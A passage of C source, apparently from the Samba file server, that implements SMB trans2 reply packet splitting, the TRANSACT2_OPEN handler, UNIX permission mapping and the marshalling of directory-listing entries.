  841.     /* Space is bufsize minus Netbios over TCP header minus SMB header */
  842.     /* The alignment_offset is to align the param bytes on an even byte
  843.         boundary. NT 4.0 Beta needs this to work correctly. */
  844.  
  845.     useable_space = max_send - (smb_size
  846.                     + 2 * 10 /* wct */
  847.                     + alignment_offset
  848.                     + data_alignment_offset);
  849.  
  850.     if (useable_space < 0) {
  851.         DEBUG(0, ("send_trans2_replies failed sanity useable_space "
  852.               "= %d!!!", useable_space));
  853.         exit_server_cleanly("send_trans2_replies: Not enough space");
  854.     }
  855.  
  856.     while (params_to_send || data_to_send) {
  857.         /* Calculate whether we will totally or partially fill this packet */
  858.  
  859.         total_sent_thistime = params_to_send + data_to_send;
  860.  
  861.         /* We can never send more than useable_space */
  862.         /*
  863.          * Note that 'useable_space' does not include the alignment offsets,
  864.          * but we must include the alignment offsets in the calculation of
  865.          * the length of the data we send over the wire, as the alignment offsets
  866.          * are sent here. Fix from Marc_Jacobsen@hp.com.
  867.          */
  868.  
  869.         total_sent_thistime = MIN(total_sent_thistime, useable_space);
  870.  
  871.         reply_outbuf(req, 10, total_sent_thistime + alignment_offset
  872.                  + data_alignment_offset);
  873.  
  874.         /*
  875.          * We might have SMBtrans2s in req which was transferred to
  876.          * the outbuf, fix that.
  877.          */
  878.         SCVAL(req->outbuf, smb_com, SMBtrans2);
  879.  
  880.         /* Set total params and data to be sent */
  881.         SSVAL(req->outbuf,smb_tprcnt,paramsize);
  882.         SSVAL(req->outbuf,smb_tdrcnt,datasize);
  883.  
  884.         /* Calculate how many parameters and data we can fit into
  885.          * this packet. Parameters get precedence
  886.          */
  887.  
  888.         params_sent_thistime = MIN(params_to_send,useable_space);
  889.         data_sent_thistime = useable_space - params_sent_thistime;
  890.         data_sent_thistime = MIN(data_sent_thistime,data_to_send);
  891.  
  892.         SSVAL(req->outbuf,smb_prcnt, params_sent_thistime);
  893.  
  894.         /* smb_proff is the offset from the start of the SMB header to the
  895.             parameter bytes, however the first 4 bytes of outbuf are
  896.             the Netbios over TCP header. Thus use smb_base() to subtract
  897.             them from the calculation */
  898.  
  899.         SSVAL(req->outbuf,smb_proff,
  900.               ((smb_buf(req->outbuf)+alignment_offset)
  901.                - smb_base(req->outbuf)));
  902.  
  903.         if(params_sent_thistime == 0)
  904.             SSVAL(req->outbuf,smb_prdisp,0);
  905.         else
  906.             /* Absolute displacement of param bytes sent in this packet */
  907.             SSVAL(req->outbuf,smb_prdisp,pp - params);
  908.  
  909.         SSVAL(req->outbuf,smb_drcnt, data_sent_thistime);
  910.         if(data_sent_thistime == 0) {
  911.             SSVAL(req->outbuf,smb_droff,0);
  912.             SSVAL(req->outbuf,smb_drdisp, 0);
  913.         } else {
  914.             /* The offset of the data bytes is the offset of the
  915.                 parameter bytes plus the number of parameters being sent this time */
  916.             SSVAL(req->outbuf, smb_droff,
  917.                   ((smb_buf(req->outbuf)+alignment_offset)
  918.                    - smb_base(req->outbuf))
  919.                   + params_sent_thistime + data_alignment_offset);
  920.             SSVAL(req->outbuf,smb_drdisp, pd - pdata);
  921.         }
  922.  
  923.         /* Initialize the padding for alignment */
  924.  
  925.         if (alignment_offset != 0) {
  926.             memset(smb_buf(req->outbuf), 0, alignment_offset);
  927.         }
  928.  
  929.         /* Copy the param bytes into the packet */
  930.  
  931.         if(params_sent_thistime) {
  932.             memcpy((smb_buf(req->outbuf)+alignment_offset), pp,
  933.                    params_sent_thistime);
  934.         }
  935.  
  936.         /* Copy in the data bytes */
  937.         if(data_sent_thistime) {
  938.             if (data_alignment_offset != 0) {
  939.                 memset((smb_buf(req->outbuf)+alignment_offset+
  940.                     params_sent_thistime), 0,
  941.                        data_alignment_offset);
  942.             }
  943.             memcpy(smb_buf(req->outbuf)+alignment_offset
  944.                    +params_sent_thistime+data_alignment_offset,
  945.                    pd,data_sent_thistime);
  946.         }
  947.  
  948.         DEBUG(9,("t2_rep: params_sent_thistime = %d, data_sent_thistime = %d, useable_space = %d\n",
  949.             params_sent_thistime, data_sent_thistime, useable_space));
  950.         DEBUG(9,("t2_rep: params_to_send = %d, data_to_send = %d, paramsize = %d, datasize = %d\n",
  951.             params_to_send, data_to_send, paramsize, datasize));
  952.  
  953.         if (overflow) {
  954.             error_packet_set((char *)req->outbuf,
  955.                      ERRDOS,ERRbufferoverflow,
  956.                      STATUS_BUFFER_OVERFLOW,
  957.                      __LINE__,__FILE__);
  958.         }
  959.  
  960.         /* Send the packet */
  961.         show_msg((char *)req->outbuf);
  962.         if (!srv_send_smb(sconn,
  963.                 (char *)req->outbuf,
  964.                 true, req->seqnum+1,
  965.                 IS_CONN_ENCRYPTED(conn),
  966.                 &req->pcd))
  967.             exit_server_cleanly("send_trans2_replies: srv_send_smb failed.");
  968.  
  969.         TALLOC_FREE(req->outbuf);
  970.  
  971.         pp += params_sent_thistime;
  972.         pd += data_sent_thistime;
  973.  
  974.         params_to_send -= params_sent_thistime;
  975.         data_to_send -= data_sent_thistime;
  976.  
  977.         /* Sanity check */
  978.         if(params_to_send < 0 || data_to_send < 0) {
  979.             DEBUG(0,("send_trans2_replies failed sanity check pts = %d, dts = %d\n!!!",
  980.                 params_to_send, data_to_send));
  981.             return;
  982.         }
  983.     }
  984.  
  985.     return;
  986. }
  987.  
  988. /****************************************************************************
  989.  Reply to a TRANSACT2_OPEN.
  990. ****************************************************************************/
  991.  
  992. static void call_trans2open(connection_struct *conn,
  993.                 struct smb_request *req,
  994.                 char **pparams, int total_params,
  995.                 char **ppdata, int total_data,
  996.                 unsigned int max_data_bytes)
  997. {
  998.     struct smb_filename *smb_fname = NULL;
  999.     char *params = *pparams;
  1000.     char *pdata = *ppdata;
  1001.     int deny_mode;
  1002.     int32 open_attr;
  1003.     bool oplock_request;
  1004. #if 0
  1005.     bool return_additional_info;
  1006.     int16 open_sattr;
  1007.     time_t open_time;
  1008. #endif
  1009.     int open_ofun;
  1010.     uint32 open_size;
  1011.     char *pname;
  1012.     char *fname = NULL;
  1013.     SMB_OFF_T size=0;
  1014.     int fattr=0,mtime=0;
  1015.     SMB_INO_T inode = 0;
  1016.     int smb_action = 0;
  1017.     files_struct *fsp;
  1018.     struct ea_list *ea_list = NULL;
  1019.     uint16 flags = 0;
  1020.     NTSTATUS status;
  1021.     uint32 access_mask;
  1022.     uint32 share_mode;
  1023.     uint32 create_disposition;
  1024.     uint32 create_options = 0;
  1025.     uint32_t private_flags = 0;
  1026.     TALLOC_CTX *ctx = talloc_tos();
  1027.  
  1028.     /*
  1029.      * Ensure we have enough parameters to perform the operation.
  1030.      */
  1031.  
  1032.     if (total_params < 29) {
  1033.         reply_nterror(req, NT_STATUS_INVALID_PARAMETER);
  1034.         goto out;
  1035.     }
  1036.  
  1037.     flags = SVAL(params, 0);
  1038.     deny_mode = SVAL(params, 2);
  1039.     open_attr = SVAL(params,6);
  1040.         oplock_request = (flags & REQUEST_OPLOCK) ? EXCLUSIVE_OPLOCK : 0;
  1041.         if (oplock_request) {
  1042.                 oplock_request |= (flags & REQUEST_BATCH_OPLOCK) ? BATCH_OPLOCK : 0;
  1043.         }
  1044.  
  1045. #if 0
  1046.     return_additional_info = BITSETW(params,0);
  1047.     open_sattr = SVAL(params, 4);
  1048.     open_time = make_unix_date3(params+8);
  1049. #endif
  1050.     open_ofun = SVAL(params,12);
  1051.     open_size = IVAL(params,14);
  1052.     pname = &params[28];
  1053.  
  1054.     if (IS_IPC(conn)) {
  1055.         reply_nterror(req, NT_STATUS_NETWORK_ACCESS_DENIED);
  1056.         goto out;
  1057.     }
  1058.  
  1059.     srvstr_get_path(ctx, params, req->flags2, &fname, pname,
  1060.             total_params - 28, STR_TERMINATE,
  1061.             &status);
  1062.     if (!NT_STATUS_IS_OK(status)) {
  1063.         reply_nterror(req, status);
  1064.         goto out;
  1065.     }
  1066.  
  1067.     DEBUG(3,("call_trans2open %s deny_mode=0x%x attr=%d ofun=0x%x size=%d\n",
  1068.         fname, (unsigned int)deny_mode, (unsigned int)open_attr,
  1069.         (unsigned int)open_ofun, open_size));
  1070.  
  1071.     status = filename_convert(ctx,
  1072.                 conn,
  1073.                 req->flags2 & FLAGS2_DFS_PATHNAMES,
  1074.                 fname,
  1075.                 0,
  1076.                 NULL,
  1077.                 &smb_fname);
  1078.     if (!NT_STATUS_IS_OK(status)) {
  1079.         if (NT_STATUS_EQUAL(status,NT_STATUS_PATH_NOT_COVERED)) {
  1080.             reply_botherror(req,
  1081.                 NT_STATUS_PATH_NOT_COVERED,
  1082.                 ERRSRV, ERRbadpath);
  1083.             goto out;
  1084.         }
  1085.         reply_nterror(req, status);
  1086.         goto out;
  1087.     }
  1088.  
  1089.     if (open_ofun == 0) {
  1090.         reply_nterror(req, NT_STATUS_OBJECT_NAME_COLLISION);
  1091.         goto out;
  1092.     }
  1093.  
  1094.     if (!map_open_params_to_ntcreate(smb_fname->base_name, deny_mode,
  1095.                      open_ofun,
  1096.                      &access_mask, &share_mode,
  1097.                      &create_disposition,
  1098.                      &create_options,
  1099.                      &private_flags)) {
  1100.         reply_nterror(req, NT_STATUS_ACCESS_DENIED);
  1101.         goto out;
  1102.     }
  1103.  
  1104.     /* Any data in this call is an EA list. */
  1105.     if (total_data && (total_data != 4)) {
  1106.         if (total_data < 10) {
  1107.             reply_nterror(req, NT_STATUS_INVALID_PARAMETER);
  1108.             goto out;
  1109.         }
  1110.  
  1111.         if (IVAL(pdata,0) > total_data) {
  1112.             DEBUG(10,("call_trans2open: bad total data size (%u) > %u\n",
  1113.                 IVAL(pdata,0), (unsigned int)total_data));
  1114.             reply_nterror(req, NT_STATUS_INVALID_PARAMETER);
  1115.             goto out;
  1116.         }
  1117.  
  1118.         ea_list = read_ea_list(talloc_tos(), pdata + 4,
  1119.                        total_data - 4);
  1120.         if (!ea_list) {
  1121.             reply_nterror(req, NT_STATUS_INVALID_PARAMETER);
  1122.             goto out;
  1123.         }
  1124.  
  1125.         if (!lp_ea_support(SNUM(conn))) {
  1126.             reply_nterror(req, NT_STATUS_EAS_NOT_SUPPORTED);
  1127.             goto out;
  1128.         }
  1129.     }
  1130.  
  1131.     status = SMB_VFS_CREATE_FILE(
  1132.         conn,                   /* conn */
  1133.         req,                    /* req */
  1134.         0,                  /* root_dir_fid */
  1135.         smb_fname,              /* fname */
  1136.         access_mask,                /* access_mask */
  1137.         share_mode,             /* share_access */
  1138.         create_disposition,         /* create_disposition*/
  1139.         create_options,             /* create_options */
  1140.         open_attr,              /* file_attributes */
  1141.         oplock_request,             /* oplock_request */
  1142.         open_size,              /* allocation_size */
  1143.         private_flags,
  1144.         NULL,                   /* sd */
  1145.         ea_list,                /* ea_list */
  1146.         &fsp,                   /* result */
  1147.         &smb_action);               /* psbuf */
  1148.  
  1149.     if (!NT_STATUS_IS_OK(status)) {
  1150.         if (open_was_deferred(req->mid)) {
  1151.             /* We have re-scheduled this call. */
  1152.             goto out;
  1153.         }
  1154.         reply_openerror(req, status);
  1155.         goto out;
  1156.     }
  1157.  
  1158.     size = get_file_size_stat(&smb_fname->st);
  1159.     fattr = dos_mode(conn, smb_fname);
  1160.     mtime = convert_timespec_to_time_t(smb_fname->st.st_ex_mtime);
  1161.     inode = smb_fname->st.st_ex_ino;
  1162.     if (fattr & FILE_ATTRIBUTE_DIRECTORY) {
  1163.         close_file(req, fsp, ERROR_CLOSE);
  1164.         reply_nterror(req, NT_STATUS_ACCESS_DENIED);
  1165.         goto out;
  1166.     }
  1167.  
  1168.     /* Realloc the size of parameters and data we will return */
  1169.     *pparams = (char *)SMB_REALLOC(*pparams, 30);
  1170.     if(*pparams == NULL ) {
  1171.         reply_nterror(req, NT_STATUS_NO_MEMORY);
  1172.         goto out;
  1173.     }
  1174.     params = *pparams;
  1175.  
  1176.     SSVAL(params,0,fsp->fnum);
  1177.     SSVAL(params,2,fattr);
  1178.     srv_put_dos_date2(params,4, mtime);
  1179.     SIVAL(params,8, (uint32)size);
  1180.     SSVAL(params,12,deny_mode);
  1181.     SSVAL(params,14,0); /* open_type - file or directory. */
  1182.     SSVAL(params,16,0); /* open_state - only valid for IPC device. */
  1183.  
  1184.     if (oplock_request && lp_fake_oplocks(SNUM(conn))) {
  1185.         smb_action |= EXTENDED_OPLOCK_GRANTED;
  1186.     }
  1187.  
  1188.     SSVAL(params,18,smb_action);
  1189.  
  1190.     /*
  1191.      * WARNING - this may need to be changed if SMB_INO_T <> 4 bytes.
  1192.      */
  1193.     SIVAL(params,20,inode);
  1194.     SSVAL(params,24,0); /* Padding. */
  1195.     if (flags & 8) {
  1196.         uint32 ea_size = estimate_ea_size(conn, fsp,
  1197.                           fsp->fsp_name->base_name);
  1198.         SIVAL(params, 26, ea_size);
  1199.     } else {
  1200.         SIVAL(params, 26, 0);
  1201.     }
  1202.  
  1203.     /* Send the required number of replies */
  1204.     send_trans2_replies(conn, req, params, 30, *ppdata, 0, max_data_bytes);
  1205.  out:
  1206.     TALLOC_FREE(smb_fname);
  1207. }
  1208.  
  1209. /*********************************************************
  1210.  Routine to check if a given string matches exactly.
  1211.  as a special case a mask of "." does NOT match. That
  1212.  is required for correct wildcard semantics
  1213.  Case can be significant or not.
  1214. **********************************************************/
  1215.  
  1216. static bool exact_match(bool has_wild,
  1217.             bool case_sensitive,
  1218.             const char *str,
  1219.             const char *mask)
  1220. {
  1221.     if (mask[0] == '.' && mask[1] == 0) {
  1222.         return false;
  1223.     }
  1224.  
  1225.     if (has_wild) {
  1226.         return false;
  1227.     }
  1228.  
  1229.     if (case_sensitive) {
  1230.         return strcmp(str,mask)==0;
  1231.     } else {
  1232.         return StrCaseCmp(str,mask) == 0;
  1233.     }
  1234. }
  1235.  
  1236. /****************************************************************************
  1237.  Return the filetype for UNIX extensions.
  1238. ****************************************************************************/
  1239.  
  1240. static uint32 unix_filetype(mode_t mode)
  1241. {
  1242.     if(S_ISREG(mode))
  1243.         return UNIX_TYPE_FILE;
  1244.     else if(S_ISDIR(mode))
  1245.         return UNIX_TYPE_DIR;
  1246. #ifdef S_ISLNK
  1247.     else if(S_ISLNK(mode))
  1248.         return UNIX_TYPE_SYMLINK;
  1249. #endif
  1250. #ifdef S_ISCHR
  1251.     else if(S_ISCHR(mode))
  1252.         return UNIX_TYPE_CHARDEV;
  1253. #endif
  1254. #ifdef S_ISBLK
  1255.     else if(S_ISBLK(mode))
  1256.         return UNIX_TYPE_BLKDEV;
  1257. #endif
  1258. #ifdef S_ISFIFO
  1259.     else if(S_ISFIFO(mode))
  1260.         return UNIX_TYPE_FIFO;
  1261. #endif
  1262. #ifdef S_ISSOCK
  1263.     else if(S_ISSOCK(mode))
  1264.         return UNIX_TYPE_SOCKET;
  1265. #endif
  1266.  
  1267.     DEBUG(0,("unix_filetype: unknown filetype %u\n", (unsigned)mode));
  1268.     return UNIX_TYPE_UNKNOWN;
  1269. }
  1270.  
  1271. /****************************************************************************
  1272.  Map wire perms onto standard UNIX permissions. Obey share restrictions.
  1273. ****************************************************************************/
  1274.  
  1275. enum perm_type { PERM_NEW_FILE, PERM_NEW_DIR, PERM_EXISTING_FILE, PERM_EXISTING_DIR};
  1276.  
  1277. static NTSTATUS unix_perms_from_wire( connection_struct *conn,
  1278.                 const SMB_STRUCT_STAT *psbuf,
  1279.                 uint32 perms,
  1280.                 enum perm_type ptype,
  1281.                 mode_t *ret_perms)
  1282. {
  1283.     mode_t ret = 0;
  1284.  
  1285.     if (perms == SMB_MODE_NO_CHANGE) {
  1286.         if (!VALID_STAT(*psbuf)) {
  1287.             return NT_STATUS_INVALID_PARAMETER;
  1288.         } else {
  1289.             *ret_perms = psbuf->st_ex_mode;
  1290.             return NT_STATUS_OK;
  1291.         }
  1292.     }
  1293.  
  1294.     ret |= ((perms & UNIX_X_OTH ) ? S_IXOTH : 0);
  1295.     ret |= ((perms & UNIX_W_OTH ) ? S_IWOTH : 0);
  1296.     ret |= ((perms & UNIX_R_OTH ) ? S_IROTH : 0);
  1297.     ret |= ((perms & UNIX_X_GRP ) ? S_IXGRP : 0);
  1298.     ret |= ((perms & UNIX_W_GRP ) ? S_IWGRP : 0);
  1299.     ret |= ((perms & UNIX_R_GRP ) ? S_IRGRP : 0);
  1300.     ret |= ((perms & UNIX_X_USR ) ? S_IXUSR : 0);
  1301.     ret |= ((perms & UNIX_W_USR ) ? S_IWUSR : 0);
  1302.     ret |= ((perms & UNIX_R_USR ) ? S_IRUSR : 0);
  1303. #ifdef S_ISVTX
  1304.     ret |= ((perms & UNIX_STICKY ) ? S_ISVTX : 0);
  1305. #endif
  1306. #ifdef S_ISGID
  1307.     ret |= ((perms & UNIX_SET_GID ) ? S_ISGID : 0);
  1308. #endif
  1309. #ifdef S_ISUID
  1310.     ret |= ((perms & UNIX_SET_UID ) ? S_ISUID : 0);
  1311. #endif
  1312.  
  1313.     switch (ptype) {
  1314.     case PERM_NEW_FILE:
  1315.         /* Apply mode mask */
  1316.         ret &= lp_create_mask(SNUM(conn));
  1317.         /* Add in force bits */
  1318.         ret |= lp_force_create_mode(SNUM(conn));
  1319.         break;
  1320.     case PERM_NEW_DIR:
  1321.         ret &= lp_dir_mask(SNUM(conn));
  1322.         /* Add in force bits */
  1323.         ret |= lp_force_dir_mode(SNUM(conn));
  1324.         break;
  1325.     case PERM_EXISTING_FILE:
  1326.         /* Apply mode mask */
  1327.         ret &= lp_security_mask(SNUM(conn));
  1328.         /* Add in force bits */
  1329.         ret |= lp_force_security_mode(SNUM(conn));
  1330.         break;
  1331.     case PERM_EXISTING_DIR:
  1332.         /* Apply mode mask */
  1333.         ret &= lp_dir_security_mask(SNUM(conn));
  1334.         /* Add in force bits */
  1335.         ret |= lp_force_dir_security_mode(SNUM(conn));
  1336.         break;
  1337.     }
  1338.  
  1339.     *ret_perms = ret;
  1340.     return NT_STATUS_OK;
  1341. }
  1342.  
  1343. /****************************************************************************
  1344.  Needed to show the msdfs symlinks as directories. Modifies psbuf
  1345.  to be a directory if it's a msdfs link.
  1346. ****************************************************************************/
  1347.  
  1348. static bool check_msdfs_link(connection_struct *conn,
  1349.                 const char *pathname,
  1350.                 SMB_STRUCT_STAT *psbuf)
  1351. {
  1352.     int saved_errno = errno;
  1353.     if(lp_host_msdfs() &&
  1354.         lp_msdfs_root(SNUM(conn)) &&
  1355.         is_msdfs_link(conn, pathname, psbuf)) {
  1356.  
  1357.         DEBUG(5,("check_msdfs_link: Masquerading msdfs link %s "
  1358.             "as a directory\n",
  1359.             pathname));
  1360.         psbuf->st_ex_mode = (psbuf->st_ex_mode & 0xFFF) | S_IFDIR;
  1361.         errno = saved_errno;
  1362.         return true;
  1363.     }
  1364.     errno = saved_errno;
  1365.     return false;
  1366. }
  1367.  
  1368.  
  1369. /****************************************************************************
  1370.  Get a level dependent lanman2 dir entry.
  1371. ****************************************************************************/
  1372.  
  1373. struct smbd_dirptr_lanman2_state {
  1374.     connection_struct *conn;
  1375.     uint32_t info_level;
  1376.     bool check_mangled_names;
  1377.     bool has_wild;
  1378.     bool got_exact_match;
  1379. };
  1380.  
  1381. static bool smbd_dirptr_lanman2_match_fn(TALLOC_CTX *ctx,
  1382.                      void *private_data,
  1383.                      const char *dname,
  1384.                      const char *mask,
  1385.                      char **_fname)
  1386. {
  1387.     struct smbd_dirptr_lanman2_state *state =
  1388.         (struct smbd_dirptr_lanman2_state *)private_data;
  1389.     bool ok;
  1390.     char mangled_name[13]; /* mangled 8.3 name. */
  1391.     bool got_match;
  1392.     const char *fname;
  1393.  
  1394.     /* Mangle fname if it's an illegal name. */
  1395.     if (mangle_must_mangle(dname, state->conn->params)) {
  1396.         ok = name_to_8_3(dname, mangled_name,
  1397.                  true, state->conn->params);
  1398.         if (!ok) {
  1399.             return false;
  1400.         }
  1401.         fname = mangled_name;
  1402.     } else {
  1403.         fname = dname;
  1404.     }
  1405.  
  1406.     got_match = exact_match(state->has_wild,
  1407.                 state->conn->case_sensitive,
  1408.                 fname, mask);
  1409.     state->got_exact_match = got_match;
  1410.     if (!got_match) {
  1411.         got_match = mask_match(fname, mask,
  1412.                        state->conn->case_sensitive);
  1413.     }
  1414.  
  1415.     if(!got_match && state->check_mangled_names &&
  1416.        !mangle_is_8_3(fname, false, state->conn->params)) {
  1417.         /*
  1418.          * It turns out that NT matches wildcards against
  1419.          * both long *and* short names. This may explain some
  1420.          * of the wildcard wierdness from old DOS clients
  1421.          * that some people have been seeing.... JRA.
  1422.          */
  1423.         /* Force the mangling into 8.3. */
  1424.         ok = name_to_8_3(fname, mangled_name,
  1425.                  false, state->conn->params);
  1426.         if (!ok) {
  1427.             return false;
  1428.         }
  1429.  
  1430.         got_match = exact_match(state->has_wild,
  1431.                     state->conn->case_sensitive,
  1432.                     mangled_name, mask);
  1433.         state->got_exact_match = got_match;
  1434.         if (!got_match) {
  1435.             got_match = mask_match(mangled_name, mask,
  1436.                            state->conn->case_sensitive);
  1437.         }
  1438.     }
  1439.  
  1440.     if (!got_match) {
  1441.         return false;
  1442.     }
  1443.  
  1444.     *_fname = talloc_strdup(ctx, fname);
  1445.     if (*_fname == NULL) {
  1446.         return false;
  1447.     }
  1448.  
  1449.     return true;
  1450. }
  1451.  
  1452. static bool smbd_dirptr_lanman2_mode_fn(TALLOC_CTX *ctx,
  1453.                     void *private_data,
  1454.                     struct smb_filename *smb_fname,
  1455.                     uint32_t *_mode)
  1456. {
  1457.     struct smbd_dirptr_lanman2_state *state =
  1458.         (struct smbd_dirptr_lanman2_state *)private_data;
  1459.     bool ms_dfs_link = false;
  1460.     uint32_t mode = 0;
  1461.  
  1462.     if (INFO_LEVEL_IS_UNIX(state->info_level)) {
  1463.         if (SMB_VFS_LSTAT(state->conn, smb_fname) != 0) {
  1464.             DEBUG(5,("smbd_dirptr_lanman2_mode_fn: "
  1465.                  "Couldn't lstat [%s] (%s)\n",
  1466.                  smb_fname_str_dbg(smb_fname),
  1467.                  strerror(errno)));
  1468.             return false;
  1469.         }
  1470.     } else if (!VALID_STAT(smb_fname->st) &&
  1471.            SMB_VFS_STAT(state->conn, smb_fname) != 0) {
  1472.         /* Needed to show the msdfs symlinks as
  1473.          * directories */
  1474.  
  1475.         ms_dfs_link = check_msdfs_link(state->conn,
  1476.                            smb_fname->base_name,
  1477.                            &smb_fname->st);
  1478.         if (!ms_dfs_link) {
  1479.             DEBUG(5,("smbd_dirptr_lanman2_mode_fn: "
  1480.                  "Couldn't stat [%s] (%s)\n",
  1481.                  smb_fname_str_dbg(smb_fname),
  1482.                  strerror(errno)));
  1483.             return false;
  1484.         }
  1485.     }
  1486.  
  1487.     if (ms_dfs_link) {
  1488.         mode = dos_mode_msdfs(state->conn, smb_fname);
  1489.     } else {
  1490.         mode = dos_mode(state->conn, smb_fname);
  1491.     }
  1492.  
  1493.     *_mode = mode;
  1494.     return true;
  1495. }
  1496.  
  1497. static bool smbd_marshall_dir_entry(TALLOC_CTX *ctx,
  1498.                     connection_struct *conn,
  1499.                     uint16_t flags2,
  1500.                     uint32_t info_level,
  1501.                     struct ea_list *name_list,
  1502.                     bool check_mangled_names,
  1503.                     bool requires_resume_key,
  1504.                     uint32_t mode,
  1505.                     const char *fname,
  1506.                     const struct smb_filename *smb_fname,
  1507.                     int space_remaining,
  1508.                     uint8_t align,
  1509.                     bool do_pad,
  1510.                     char *base_data,
  1511.                     char **ppdata,
  1512.                     char *end_data,
  1513.                     bool *out_of_space,
  1514.                     uint64_t *last_entry_off)
  1515. {
  1516.     char *p, *q, *pdata = *ppdata;
  1517.     uint32_t reskey=0;
  1518.     uint64_t file_size = 0;
  1519.     uint64_t allocation_size = 0;
  1520.     uint64_t file_index = 0;
  1521.     uint32_t len;
  1522.     struct timespec mdate_ts, adate_ts, cdate_ts, create_date_ts;
  1523.     time_t mdate = (time_t)0, adate = (time_t)0, create_date = (time_t)0;
  1524.     time_t c_date = (time_t)0;
  1525.     char *nameptr;
  1526.     char *last_entry_ptr;
  1527.     bool was_8_3;
  1528.     int off;
  1529.     int pad = 0;
  1530.  
  1531.     *out_of_space = false;
  1532.  
  1533.     ZERO_STRUCT(mdate_ts);
  1534.     ZERO_STRUCT(adate_ts);
  1535.     ZERO_STRUCT(create_date_ts);
  1536.     ZERO_STRUCT(cdate_ts);
  1537.  
  1538.     if (!(mode & FILE_ATTRIBUTE_DIRECTORY)) {
  1539.         file_size = get_file_size_stat(&smb_fname->st);
  1540.     }
  1541.     allocation_size = SMB_VFS_GET_ALLOC_SIZE(conn, NULL, &smb_fname->st);
  1542.  
  1543.     file_index = get_FileIndex(conn, &smb_fname->st);
  1544.  
  1545.     mdate_ts = smb_fname->st.st_ex_mtime;
  1546.     adate_ts = smb_fname->st.st_ex_atime;
  1547.     create_date_ts = get_create_timespec(conn, NULL, smb_fname);
  1548.     cdate_ts = get_change_timespec(conn, NULL, smb_fname);
  1549.  
  1550.     if (lp_dos_filetime_resolution(SNUM(conn))) {
  1551.         dos_filetime_timespec(&create_date_ts);
  1552.         dos_filetime_timespec(&mdate_ts);
  1553.         dos_filetime_timespec(&adate_ts);
  1554.         dos_filetime_timespec(&cdate_ts);
  1555.     }
  1556.  
  1557.     create_date = convert_timespec_to_time_t(create_date_ts);
  1558.     mdate = convert_timespec_to_time_t(mdate_ts);
  1559.     adate = convert_timespec_to_time_t(adate_ts);
  1560.     c_date = convert_timespec_to_time_t(cdate_ts);
  1561.  
  1562.     /* align the record */
  1563.     SMB_ASSERT(align >= 1);
  1564.  
  1565.     off = (int)PTR_DIFF(pdata, base_data);
  1566.     pad = (off + (align-1)) & ~(align-1);
  1567.     pad -= off;
  1568.  
  1569.     if (pad && pad > space_remaining) {
  1570.         *out_of_space = true;
  1571.         DEBUG(9,("smbd_marshall_dir_entry: out of space "
  1572.             "for padding (wanted %u, had %d)\n",
  1573.             (unsigned int)pad,
  1574.             space_remaining ));
  1575.         return false; /* Not finished - just out of space */
  1576.     }
  1577.  
  1578.     off += pad;
  1579.     /* initialize padding to 0 */
  1580.     if (pad) {
  1581.         memset(pdata, 0, pad);
  1582.     }
  1583.     space_remaining -= pad;
  1584.  
  1585.     DEBUG(10,("smbd_marshall_dir_entry: space_remaining = %d\n",
  1586.         space_remaining ));
  1587.  
  1588.     pdata += pad;
  1589.     p = pdata;
  1590.     last_entry_ptr = p;
  1591.  
  1592.     pad = 0;
  1593.     off = 0;
  1594.  
  1595.     switch (info_level) {
  1596.     case SMB_FIND_INFO_STANDARD:
  1597.         DEBUG(10,("smbd_marshall_dir_entry: SMB_FIND_INFO_STANDARD\n"));
  1598.         if(requires_resume_key) {
  1599.             SIVAL(p,0,reskey);
  1600.             p += 4;
  1601.         }
  1602.         srv_put_dos_date2(p,0,create_date);
  1603.         srv_put_dos_date2(p,4,adate);
  1604.         srv_put_dos_date2(p,8,mdate);
  1605.         SIVAL(p,12,(uint32)file_size);
  1606.         SIVAL(p,16,(uint32)allocation_size);
  1607.         SSVAL(p,20,mode);
  1608.         p += 23;
  1609.         nameptr = p;
  1610.         if (flags2 & FLAGS2_UNICODE_STRINGS) {
  1611.             p += ucs2_align(base_data, p, 0);
  1612.         }
  1613.         len = srvstr_push(base_data, flags2, p,
  1614.                   fname, PTR_DIFF(end_data, p),
  1615.                   STR_TERMINATE);
  1616.         if (flags2 & FLAGS2_UNICODE_STRINGS) {
  1617.             if (len > 2) {
  1618.                 SCVAL(nameptr, -1, len - 2);
  1619.             } else {
  1620.                 SCVAL(nameptr, -1, 0);
  1621.             }
  1622.         } else {
  1623.             if (len > 1) {
  1624.                 SCVAL(nameptr, -1, len - 1);
  1625.             } else {
  1626.                 SCVAL(nameptr, -1, 0);
  1627.             }
  1628.         }
  1629.         p += len;
  1630.         break;
  1631.  
  1632.     case SMB_FIND_EA_SIZE:
  1633.         DEBUG(10,("smbd_marshall_dir_entry: SMB_FIND_EA_SIZE\n"));
  1634.         if (requires_resume_key) {
  1635.             SIVAL(p,0,reskey);
  1636.             p += 4;
  1637.         }
  1638.         srv_put_dos_date2(p,0,create_date);
  1639.         srv_put_dos_date2(p,4,adate);
  1640.         srv_put_dos_date2(p,8,mdate);
  1641.         SIVAL(p,12,(uint32)file_size);
  1642.         SIVAL(p,16,(uint32)allocation_size);
  1643.         SSVAL(p,20,mode);
  1644.         {
  1645.             unsigned int ea_size = estimate_ea_size(conn, NULL,
  1646.                                 smb_fname->base_name);
  1647.             SIVAL(p,22,ea_size); /* Extended attributes */
  1648.         }
  1649.         p += 27;
  1650.         nameptr = p - 1;
  1651.         len = srvstr_push(base_data, flags2,
  1652.                   p, fname, PTR_DIFF(end_data, p),
  1653.                   STR_TERMINATE | STR_NOALIGN);
  1654.         if (flags2 & FLAGS2_UNICODE_STRINGS) {
  1655.             if (len > 2) {
  1656.                 len -= 2;
  1657.             } else {
  1658.                 len = 0;
  1659.             }
  1660.         } else {
  1661.             if (len > 1) {
  1662.                 len -= 1;
  1663.             } else {
  1664.                 len = 0;
  1665.             }
  1666.         }
  1667.         SCVAL(nameptr,0,len);
  1668.         p += len;
  1669.         SCVAL(p,0,0); p += 1; /* Extra zero byte ? - why.. */
  1670.         break;
  1671.  
  1672.     case SMB_FIND_EA_LIST:
  1673.     {
  1674.         struct ea_list *file_list = NULL;
  1675.         size_t ea_len = 0;
  1676.  
  1677.         DEBUG(10,("smbd_marshall_dir_entry: SMB_FIND_EA_LIST\n"));
  1678.         if (!name_list) {
  1679.             return false;
  1680.         }
  1681.         if (requires_resume_key) {
  1682.             SIVAL(p,0,reskey);
  1683.             p += 4;
  1684.         }
  1685.         srv_put_dos_date2(p,0,create_date);
  1686.         srv_put_dos_date2(p,4,adate);
  1687.         srv_put_dos_date2(p,8,mdate);
  1688.         SIVAL(p,12,(uint32)file_size);
  1689.         SIVAL(p,16,(uint32)allocation_size);
  1690.         SSVAL(p,20,mode);
